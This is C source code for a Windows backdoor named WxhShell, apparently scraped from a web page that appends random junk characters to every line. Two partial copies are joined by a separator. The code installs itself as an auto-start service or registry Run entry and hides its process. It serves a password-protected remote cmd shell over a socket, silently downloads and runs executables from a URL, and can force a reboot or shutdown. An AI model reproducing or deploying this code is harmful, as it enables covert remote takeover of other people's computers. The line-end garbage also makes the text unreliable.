    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ck%YEMs  
    else { Vo+.s#wN`h  
    closesocket(wsh); <:NahxIlu  
    ExitThread(0); B-$?5Ft!  
    } %l14K_  
    break; *v]s&$WyO  
    } NL>Trv5  
  // 获取shell ^)I}#  
  case 's': { |TP,   
    CmdShell(wsh); ^,mN-.W  
    closesocket(wsh); WG@3+R>{  
    ExitThread(0); MnZljB  
    break; o ABrhK  
  } =.&8ghJ*M  
  // 退出 K *{RGE  
  case 'x': { I>JE\## ^n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rsLkH&aM  
    CloseIt(wsh); MmfBFt*  
    break; +3o0GJ   
    } <\fA}b  
  // 离开 ?|/K(}  
  case 'q': { dQZdL4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9<&M~(dwT4  
    closesocket(wsh); JqZt1um  
    WSACleanup(); CLk,]kA'r  
    exit(1); \Vroz=IT:  
    break; X7AxI\h  
        } WcoA)we  
  } M_Q`9  
  } 7s3=Fa:9Q  
iw=e"6V  
  // 提示信息 sNcU>qjj6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p JT)X8K"  
} /]'&cD 1  
  } :r ~iFP*  
J(@" 7RX  
  return; 8h }a:/  
} *~shvtq  
U#S-x5Gn  
// shell模块句柄 2 oV6#!{Z  
int CmdShell(SOCKET sock) F6111Q </  
{ 1^*ogMe  
STARTUPINFO si; LAo$AiTUR{  
ZeroMemory(&si,sizeof(si)); [Z"Z5e`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U5TkgHN{y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hg<aU*o;  
PROCESS_INFORMATION ProcessInfo; nW"O+s3  
char cmdline[]="cmd"; _ h5d~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w8R7Ksn(  
  return 0; 2T)k-3  
} C?>d$G8  
FeMgn`q  
// 自身启动模式 cu foP&  
int StartFromService(void) Knqv|jJVx1  
{ JVkuSIR>  
typedef struct m$^5{qpg  
{ q~ Z UtF  
  DWORD ExitStatus; A{J?I:  
  DWORD PebBaseAddress; ?d%{-  
  DWORD AffinityMask; =X^a  
  DWORD BasePriority; E;{CoL  
  ULONG UniqueProcessId; |h 6!bt!=  
  ULONG InheritedFromUniqueProcessId; vs[!B-  
}   PROCESS_BASIC_INFORMATION; D (8Z90  
4'*-[TKC  
PROCNTQSIP NtQueryInformationProcess; *]NfT}}  
"_\"S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6vAZLNG3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @vyEN.K%mm  
8 yi#] 5`Q  
  HANDLE             hProcess; dm[cl~[ Q  
  PROCESS_BASIC_INFORMATION pbi; b@8z+,_  
R:&y@/JY8[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z!~_#_Ugl  
  if(NULL == hInst ) return 0; {6h 1  
^h2+""  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \wsVO"/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2wB *c9~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %L- qAI&V  
p7-\a1P3  
  if (!NtQueryInformationProcess) return 0; ]r3/hDRDL@  
Qs za,09  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y:O|6%00Y  
  if(!hProcess) return 0; & [@)Er=  
%LP4RZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; , +J)`+pJx  
J.Xh P_aT  
  CloseHandle(hProcess); <uB)u>3   
}DM W,+3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A03io8D6  
if(hProcess==NULL) return 0; Gv G8s6IZ  
Vm\zLWNB  
HMODULE hMod; ukEJD3i  
char procName[255]; hBnUpYec  
unsigned long cbNeeded; g[1>|Ax`'  
 B>:U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i6k6l%  
0C%IdV%CU  
  CloseHandle(hProcess); lSaX!${R'T  
yc?L OW0  
if(strstr(procName,"services")) return 1; // 以服务启动 RHn3\N  
*(1 <J2j  
  return 0; // 注册表启动 -*KKrte  
} LYL_Ah'=  
M>m!\bb%.  
// 主模块 [pEb`s  
int StartWxhshell(LPSTR lpCmdLine) Vdx o  
{ `r-Jy{!y4  
  SOCKET wsl; _,60pr3D'  
BOOL val=TRUE; /huh}&NNu  
  int port=0; -O?HfQ  
  struct sockaddr_in door; C F','gPnc  
N8At N\e  
  if(wscfg.ws_autoins) Install(); IMbF]6%p(  
aY? VP?BL  
port=atoi(lpCmdLine); %n9ukc~$p  
?M&@# lbG  
if(port<=0) port=wscfg.ws_port; c8[kL$b;j  
}=R0AKz!Cv  
  WSADATA data; :{)uD ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fXWE4^jU  
)'f=!'X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "1^tVw|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y*X.DS 1(w  
  door.sin_family = AF_INET; 5j.@)XXe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WHBGhU  
  door.sin_port = htons(port); X9|*`h<  
$`W3`}#fM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O&aD]~|  
closesocket(wsl); (_ :82@c  
return 1; Zl&ED{k<  
} HP_h!pvx  
)e'F[  
  if(listen(wsl,2) == INVALID_SOCKET) { +C7E]0!r  
closesocket(wsl); ysG1{NOl  
return 1;  w (RRu~J  
} TO5y.M|7  
  Wxhshell(wsl); ibZ[U p?  
  WSACleanup(); % vy,A*  
Gr&e]M[l  
return 0; de2G"'F  
fi>.X99(G  
} &x\)] i2f  
0aY\(@  
// 以NT服务方式启动 cq?,v?m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &l ]F&-  
{ qF$y p>|#  
DWORD   status = 0; U4-RI]Cpf  
  DWORD   specificError = 0xfffffff; $$.q6  
v&;JVai  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5lD`qY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F%$q]J[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K<::M3eQ  
  serviceStatus.dwWin32ExitCode     = 0; -QJ8\/1>  
  serviceStatus.dwServiceSpecificExitCode = 0; j*|0#q;e6  
  serviceStatus.dwCheckPoint       = 0; am3.Dt2\  
  serviceStatus.dwWaitHint       = 0; qonStIP  
xLFMC?I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K]B`&ih  
  if (hServiceStatusHandle==0) return; LlgFQfu8  
. G25D  
status = GetLastError(); w=!xTA  
  if (status!=NO_ERROR) m?yztm~u  
{ !:5'MI@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w@R"g%k-  
    serviceStatus.dwCheckPoint       = 0; zfI{cMn'J  
    serviceStatus.dwWaitHint       = 0; s 7w A3|9  
    serviceStatus.dwWin32ExitCode     = status; h@*I(ND<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~a2|W|?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {aV,h@>  
    return; >6&Rytcc]  
  }  q9{ h@y  
ltk ARc3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b|k^   
  serviceStatus.dwCheckPoint       = 0; #W/Ch"Kv  
  serviceStatus.dwWaitHint       = 0; <m~8pM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <5j%!6zo  
} }jC^&%|  
E A55!  
// 处理NT服务事件,比如:启动、停止 !mqIq} h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X=f%!  
{ XY6Sm{  
switch(fdwControl) vs+aUT C\  
{ ^CQp5kp]  
case SERVICE_CONTROL_STOP: QA^FP8!j  
  serviceStatus.dwWin32ExitCode = 0; /SM 7t_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 73S N\  
  serviceStatus.dwCheckPoint   = 0; eB9&HD:  
  serviceStatus.dwWaitHint     = 0; zBq&/?  
  { A7#nBHwxZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ucz~y! 4L{  
  } vJi<PQ6  
  return; A =Z$H2  
case SERVICE_CONTROL_PAUSE: ztHx) !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5`e;l$ M`  
  break; ](n)bF+ym  
case SERVICE_CONTROL_CONTINUE: !PeSnO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qhTVsZ:{C  
  break;  _}JMBIq$  
case SERVICE_CONTROL_INTERROGATE: T YR \K  
  break; wBw(T1VN  
}; Iy;"ht6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Ng:7C2  
} jHE^d<=O^  
z#`Qfvu6Hi  
// 标准应用程序主函数 tUOY`]0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l+&DBw[  
{ Zw{?^6;cS  
GNuIcy  
// 获取操作系统版本 j -"34  
OsIsNt=GetOsVer(); TUwX4X6m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N8kNi4$mp=  
V'dw=W17V  
  // 从命令行安装 2/A*\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9* 3;v;F  
-~JYfj@  
  // 下载执行文件 ci2Z_JA+  
if(wscfg.ws_downexe) { tcl9:2/^]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SvkCx>6/G  
  WinExec(wscfg.ws_filenam,SW_HIDE); nIL67&  
} 3Ur_?PM+C  
j@+$lU*r  
if(!OsIsNt) { "Vl4=W)u  
// 如果时win9x,隐藏进程并且设置为注册表启动 0:I<TJ~P  
HideProc(); Q1yXdw  
StartWxhshell(lpCmdLine); .)bNi*&  
} _4nm h0q4  
else $'eY-U8q  
  if(StartFromService()) =6 zK 1Z  
  // 以服务方式启动 FVL{KNW~i  
  StartServiceCtrlDispatcher(DispatchTable); !'[?cEog  
else ]o=ON95ja  
  // 普通方式启动 O x`K7$)  
  StartWxhshell(lpCmdLine); Sa@'?ApH  
j+ L:Ao  
return 0; `x>6Wk1  
} ?VRsgV'$  
]2|fc5G'  
4e|N^h*!  
$~1mKx]]  
=========================================== Val"vUZ  
b3 =Z~iLv  
[MbbL  
Tjv'S <  
aqQ+A:g  
KkpbZ7\@  
" >O rIY  
(@!K tW  
#include <stdio.h> d@a<Eq  
#include <string.h> [kxOv7a  
#include <windows.h> [~\]<;;\  
#include <winsock2.h> IqepR >5t  
#include <winsvc.h> PXtF#,roP  
#include <urlmon.h> *2vp2xMA@  
~G=E Q]a  
#pragma comment (lib, "Ws2_32.lib") v)gMNzt  
#pragma comment (lib, "urlmon.lib") @K*W3&TO  
-$g~,dIwj  
#define MAX_USER   100 // 最大客户端连接数 #6D>e~>n  
#define BUF_SOCK   200 // sock buffer 9v-Y*\!w.  
#define KEY_BUFF   255 // 输入 buffer /~;!Ew|q  
(=c,b9cb  
#define REBOOT     0   // 重启 b$*2bSdv0<  
#define SHUTDOWN   1   // 关机 W|zPV`  
o_k)x3I?  
#define DEF_PORT   5000 // 监听端口 {n|Uf 5  
UmGKj9u  
#define REG_LEN     16   // 注册表键长度 Rmn{Vui9\  
#define SVC_LEN     80   // NT服务名长度 /)K;XtcN  
j%bC9UkE3  
// 从dll定义API |7A}LA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rcw[`q3/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T!41[vm(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ck %if  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q_iN/F  
:X-S&S X0  
// wxhshell配置信息 OX]P;#4tU  
struct WSCFG { ^=5y;  
  int ws_port;         // 监听端口 :WQlpLn  
  char ws_passstr[REG_LEN]; // 口令 c[ 0`8s!  
  int ws_autoins;       // 安装标记, 1=yes 0=no +U_1B%e(%  
  char ws_regname[REG_LEN]; // 注册表键名 gCG #?f  
  char ws_svcname[REG_LEN]; // 服务名 L1g0Dd\Ox  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bE2O[B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R'>@ja*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \SO)|M>.a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lr8|S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (>x05nh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a:HN#P)12  
mDbTOtD  
}; z9OpxW@Ou  
>!']w{G  
// default Wxhshell configuration +O9x8OPHW  
struct WSCFG wscfg={DEF_PORT, ZbdGI@  
    "xuhuanlingzhe", >D~8iuy]8.  
    1, h2Th)&Fb>  
    "Wxhshell", &^HVuYa.0  
    "Wxhshell", 0pEM0M  
            "WxhShell Service", (&v|,.c^)1  
    "Wrsky Windows CmdShell Service", nIfAG^?|*  
    "Please Input Your Password: ", F |5Au>t  
  1, oCI\yp@a  
  "http://www.wrsky.com/wxhshell.exe", ,5}w]6bCr  
  "Wxhshell.exe" |Z2"pV  
    }; TKsP#Dt/  
1>L'F8"  
// 消息定义模块 #Y'b?&b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hqjjd-S0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )b2O!p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tAJ}36 aG  
char *msg_ws_ext="\n\rExit."; Q#qfuwz  
char *msg_ws_end="\n\rQuit."; zP2X}VLMo  
char *msg_ws_boot="\n\rReboot..."; 5*YvgB;  
char *msg_ws_poff="\n\rShutdown..."; EleJ$ `/  
char *msg_ws_down="\n\rSave to "; <Y1 Plc  
GtZ.' ?-  
char *msg_ws_err="\n\rErr!"; m&xVlS  
char *msg_ws_ok="\n\rOK!"; u SQ#Y^V_  
S`FIb'J  
char ExeFile[MAX_PATH]; v;;3 K*c>  
int nUser = 0; p0zC(v0*  
HANDLE handles[MAX_USER]; LK}FI* A_  
int OsIsNt; vo*oCfm  
zSfUM.fM  
SERVICE_STATUS       serviceStatus; BU??}{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gs3V]qbEP  
6G"UXNa,  
// 函数声明 e:'56?|  
int Install(void); qT5"r488  
int Uninstall(void); ,&M#[>\(3  
int DownloadFile(char *sURL, SOCKET wsh); wi jO2F  
int Boot(int flag); p?cc Bq  
void HideProc(void); g9VY{[ V  
int GetOsVer(void); g\.$4N  
int Wxhshell(SOCKET wsl); $m*Gu:#xm&  
void TalkWithClient(void *cs); GCO: !,1  
int CmdShell(SOCKET sock); `<>QKpAn  
int StartFromService(void); kI@<H<  
int StartWxhshell(LPSTR lpCmdLine); IHd W!q  
"P(obk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $rr@3H+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QdQ1+*/+U  
N AY3.e  
// 数据结构和表定义 u?dPCgs;h  
SERVICE_TABLE_ENTRY DispatchTable[] = U 887@-!3  
{ 'xkl|P>=],  
{wscfg.ws_svcname, NTServiceMain}, 7f ub^'_  
{NULL, NULL} =IQ}Y_xr  
}; BYM6cp+S  
O]@#53)Tz  
// 自我安装 a <?~1pWtc  
int Install(void) vVa|E# [  
{ 5~IdWwG*w  
  char svExeFile[MAX_PATH]; m<>BxX  
  HKEY key; gz[3xH~  
  strcpy(svExeFile,ExeFile); J-dB  
g([:"y?  
// 如果是win9x系统,修改注册表设为自启动 `=#jWZ.8m  
if(!OsIsNt) { A7+ZY,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #*_!Xc9f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^w~B]*A :"  
  RegCloseKey(key); H~Vf;k>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6V JudNA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $'Mf$h  
  RegCloseKey(key); ;2 &"  
  return 0; breF,d$  
    } LAf#Rco4  
  } O=}Rp 1  
} 1a{r1([)  
else { B^P&+,\[}  
&*+$38XE^  
// 如果是NT以上系统,安装为系统服务 f ?k0(rl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h L [eA  
if (schSCManager!=0) W>d)(  
{ %ZWt 45A  
  SC_HANDLE schService = CreateService 9AB U^ig  
  ( HV/:OCK  
  schSCManager, ^OWG9`p+  
  wscfg.ws_svcname, h`1<+1J9  
  wscfg.ws_svcdisp, Fl=H5HR  
  SERVICE_ALL_ACCESS, UiH7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @g5y_G{SP  
  SERVICE_AUTO_START, ]&Y^  
  SERVICE_ERROR_NORMAL, 5{V"!M+<  
  svExeFile, ;j1E6  
  NULL, `<se&IZE  
  NULL, KU` *LB:  
  NULL, T&]-p:mg^  
  NULL, |JYb4J4Ni  
  NULL LiT%d  
  ); A2M( ad  
  if (schService!=0) =#W:z.w  
  { b}0h ()v  
  CloseServiceHandle(schService); ( uD^_N]3  
  CloseServiceHandle(schSCManager); r@zT!.sc!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Muk J^h*V  
  strcat(svExeFile,wscfg.ws_svcname); Z@+nkTJ9&t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <YFDS;b|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U0j>u*yE  
  RegCloseKey(key); qD>^aEd@4  
  return 0; mXyP;k  
    } ;i6~iLY  
  } \M\7k5$  
  CloseServiceHandle(schSCManager); klm>/MXI`  
} >bZ-mX)j\0  
} Ei@  
\/3(>g?4  
return 1; 0x-g0]  
} TxG@#" ^g}  
e~lFjr]  
// 自我卸载 }BlyEcw'aN  
int Uninstall(void) r4 *H96l  
{ `K.B`  
  HKEY key; (Fzy8 s  
96V8R<   
if(!OsIsNt) { aH_c84DS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lY tt|J  
  RegDeleteValue(key,wscfg.ws_regname); ^{MqJ\S7H  
  RegCloseKey(key); JnBc@qnP6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nahq O|~  
  RegDeleteValue(key,wscfg.ws_regname); AtCT  
  RegCloseKey(key); `3T=z{HR9g  
  return 0; LsERcjwwK  
  } ^ l]!'"  
} ! s =$UC  
} gE\ ^ vaB  
else { C 6 \  
C][hH?.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L4/ns@e  
if (schSCManager!=0) bOr11?  
{ a`w=0]1&*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >E J{ *  
  if (schService!=0) a pa&'%7  
  { :Pdh##k  
  if(DeleteService(schService)!=0) { <7J3tn B  
  CloseServiceHandle(schService); 2w7$"N  
  CloseServiceHandle(schSCManager); 3O$l;|SX  
  return 0; `Uz.9_6  
  } ~3:hed7:  
  CloseServiceHandle(schService); YTefEG]|q  
  } [y`G p#  
  CloseServiceHandle(schSCManager); EZB0qZIp  
} ~&)\8@2  
} .2JZ7  
}NC$Ce  
return 1; ESV./~K  
} Pt5wm\  
pwfQqPC#_  
// 从指定url下载文件 }5vKQf   
int DownloadFile(char *sURL, SOCKET wsh) 4%r?(C0x  
{ -1Li&K7  
  HRESULT hr; C<^i`[&P$  
char seps[]= "/"; mnM]@8^G  
char *token; )?[7}(4jI  
char *file; c2g[w;0"  
char myURL[MAX_PATH]; Q*#Lr4cm{  
char myFILE[MAX_PATH]; ON\bD?(VY  
_1gNU]"  
strcpy(myURL,sURL); WMtFXkf6"  
  token=strtok(myURL,seps); C:Rs~@tl  
  while(token!=NULL) vf3)T;X>  
  { geyCS3 :p  
    file=token; Lbz/M _G  
  token=strtok(NULL,seps); ;F @Sz/  
  } Gxe)5,G  
i`F5  
GetCurrentDirectory(MAX_PATH,myFILE); :.g/=Q(T~  
strcat(myFILE, "\\"); 8`+=~S  
strcat(myFILE, file); o4FHR+u<M  
  send(wsh,myFILE,strlen(myFILE),0); ,byc!P  
send(wsh,"...",3,0); <<d#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AQjv? 4)T  
  if(hr==S_OK) wGLMLbj5  
return 0; <T[LugI  
else 3'.3RKV  
return 1; 6NV592  
s 7 nl  
} G]aey>)  
@~hy'6/  
// 系统电源模块 9]=J+ (M  
int Boot(int flag) jq)Bj#'7  
{ o i'iZX  
  HANDLE hToken; ),N,!15j,  
  TOKEN_PRIVILEGES tkp;  }cMkh  
M(+Pd_c6  
  if(OsIsNt) { O/#3QK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O"~[njwkE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M%ecWr!tj  
    tkp.PrivilegeCount = 1; !8UIyw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m^L!_~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :(US um  
if(flag==REBOOT) { WZ ?>F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }TMO>eB'  
  return 0; ~2rQ80_  
} K9xvog  
else { #>aq'47j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0a:oC(Ak  
  return 0; `:3nF'  
} "G>d8GbIh  
  } n! 5(Z5=  
  else { r*b+kSh  
if(flag==REBOOT) { 9RlJf=Z#H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) afX|R  
  return 0; ((]i}s0S  
} ~`Bk CTT  
else { Ich^*z(F$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P,] ./m\J  
  return 0; M2cGr  
} Ti)Me-g  
} 5?H8?~&dz  
z# &1>  
return 1; b EcN_7  
} *ilh/Hd>  
)I*(yUj  
// win9x进程隐藏模块 Ld.9.d]  
void HideProc(void) nQV0I"f]?]  
{ $#f_p-N  
u4FD}nV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6ZE`'pk<  
  if ( hKernel != NULL ) =At" Q6-O  
  { %R?7u'=~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3\}u#/Vb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )lLeL#]FLO  
    FreeLibrary(hKernel); 7Q|<6210  
  } :8O T  
O'98OH+u  
return; pdJ]V`m  
} fD[O tc  
>#:SJ?)`T  
// 获取操作系统版本 KS(H_&j  
int GetOsVer(void) AjEy@ /  
{  ( y!o  
  OSVERSIONINFO winfo; HUjX[w8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1LS1 ZY  
  GetVersionEx(&winfo); f$^wu~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qZF&^pCF}  
  return 1; X[ Ufq^fyA  
  else /v9qrZ$$  
  return 0; R /" f  
} TO G4=y-N  
?`e@ o?  
// 客户端句柄模块 T5T%[Gv  
int Wxhshell(SOCKET wsl) a6 vej  
{ _ab8z]H   
  SOCKET wsh; !0lk}Uzkh  
  struct sockaddr_in client; ]:LlOv$  
  DWORD myID; 55s5(]`d  
*;}xg{@  
  while(nUser<MAX_USER) D*2*FDGI  
{ s i2@k  
  int nSize=sizeof(client); 3);P !W4>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "|I.j)  
  if(wsh==INVALID_SOCKET) return 1; $=diG  
hO[_ _j8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N{bg-%s10i  
if(handles[nUser]==0) KE"6I  
  closesocket(wsh); Hre&a!U  
else <o|fH~?X  
  nUser++; c6 &k?Puy  
  } rzHBop-8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rK'Lvt@w  
b||usv[or  
  return 0; o@gceZuk  
} #pPOQv:~  
.*YF{!R`h  
// 关闭 socket :@jctH~  
void CloseIt(SOCKET wsh) %ZD]qaU0  
{ P\K#q%8  
closesocket(wsh); Ox#vW6;)  
nUser--; G7Ck P  
ExitThread(0); U&6A)SW,k  
} h[qZM  
?7wcv$K5  
// 客户端请求句柄 k^|z.$+  
void TalkWithClient(void *cs) !;8Y?c-D  
{ >3D1:0Sg  
wipl5O@L  
  SOCKET wsh=(SOCKET)cs; X<IW5*   
  char pwd[SVC_LEN]; oS$7k3s fj  
  char cmd[KEY_BUFF]; 40MKf/9  
char chr[1]; \:Tq0|]Px  
int i,j; 'z,kxra|n  
\5&Mg81  
  while (nUser < MAX_USER) { R98YGW_ dT  
zAM9%W2v_  
if(wscfg.ws_passstr) { @~s5{4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dakHH@Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @!oN]0`F;  
  //ZeroMemory(pwd,KEY_BUFF); V  H`_  
      i=0; 9;%$  
  while(i<SVC_LEN) { i[9gcL"  
@,1_CqV  
  // 设置超时 %T>@Ldt  
  fd_set FdRead; `lE&:)  
  struct timeval TimeOut; I~F&@  
  FD_ZERO(&FdRead); ,nL~?h-Zh  
  FD_SET(wsh,&FdRead); `AE6s.p?  
  TimeOut.tv_sec=8; zqt<[=O  
  TimeOut.tv_usec=0; sE&nEc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0~ nCT&V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z<>gx m<  
7r?,wM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y>aVnixx<  
  pwd=chr[0]; U/{t "e  
  if(chr[0]==0xd || chr[0]==0xa) { J?TCP%  
  pwd=0; Xh}q/H<  
  break; USEmD5q  
  } {M:/HQo  
  i++; }iDRlE,  
    } C ibfuR  
Dti-*LB1  
  // 如果是非法用户,关闭 socket |)To 0Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MkFWZ9c3  
} 3HXeBW  
V<|N}8{Z2a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pSC{0Y$g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Z:3xb&>   
9\?&u_ U"  
while(1) { EsWB|V>  
@F(er  
  ZeroMemory(cmd,KEY_BUFF); N)cODy([  
u q 9mq"  
      // 自动支持客户端 telnet标准   !QAndg{;D  
  j=0; vcy1itY  
  while(j<KEY_BUFF) { 5!9y nIC+>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MHWc~@R  
  cmd[j]=chr[0]; ?MSZO]Q4+  
  if(chr[0]==0xa || chr[0]==0xd) { [V_mF  
  cmd[j]=0; /Z*$k{qIR&  
  break; L|APXy]>  
  } :CM-I_6  
  j++; 9$v\D3<Z  
    } *-]k([wV  
i| cA)  
  // 下载文件 |%8t.Z  
  if(strstr(cmd,"http://")) { 2u_=i$xW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gYbvCs8O!  
  if(DownloadFile(cmd,wsh)) wT+60X'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YhglL!p C  
  else l2W+VBn6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }` `oojz  
  } } -4p8Zt  
  else { =aj|auu  
&/uakkS  
    switch(cmd[0]) { U[;ECw@  
  ;(,GS@sP  
  // 帮助 $/Wec,`&  
  case '?': { 1 c"s+k]9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @Z$fEG)9  
    break; ! weYOOu  
